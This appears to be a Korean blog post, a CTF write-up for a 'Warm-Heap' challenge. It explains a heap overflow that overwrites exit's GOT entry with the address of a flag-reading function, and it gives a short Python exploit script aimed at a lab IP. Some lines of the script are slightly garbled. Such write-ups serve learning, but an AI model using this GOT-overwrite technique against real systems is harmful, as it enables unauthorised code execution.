본문 바로가기

CTF/Write-up

Warm-Heap

문제는 간단하다.

malloc으로 할당한 후 fgets로 2번 입력받아서 2번 복사를 한다.


처음 malloc을 할 때 힙 상태는 이렇다.


총 4번의 malloc을 마치면 위처럼 주소가 등록된다.


fgets로 입력받아서 넣는다.


입력받았던걸 위에 복사한다.


두번째 fgets를 받는다. (처음 받은 곳이랑 같은 위치)


두번째 복사는 malloc에서 가르치는 곳에 해당 주소를 복사한다.


그럼 첫번째 입력에서 "A"를 40개 넣고 exit의 주소를 넣는다. (마지막에 exit함수를 호출하니..)

두번째 입력에서는 exit에 복사될 함수의 주소를 입력한다.


여기 flag를 읽는 함수가 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from struct import *
from socket import *
 
= lambda x: pack("<L", x)
 
= socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.153.132"3722))
 
exit_got = 0x601068
flag = 0x400826
 
 
s.send("A"*40+p(exit_got)+"\n")
s.send(p(flag)+"\n")
print s.recv(1024)
cs


플래그는 파일에 직접 적었다

'CTF > Write-up' 카테고리의 다른 글

Plaid ctf prodmanager  (0) 2017.01.16
codegate 2014 angry doraemon  (0) 2017.01.15
codegate 2014 nuclear  (0) 2017.01.13
holyshield pwnit  (0) 2017.01.10
codegate 2013 vuln200  (0) 2017.01.08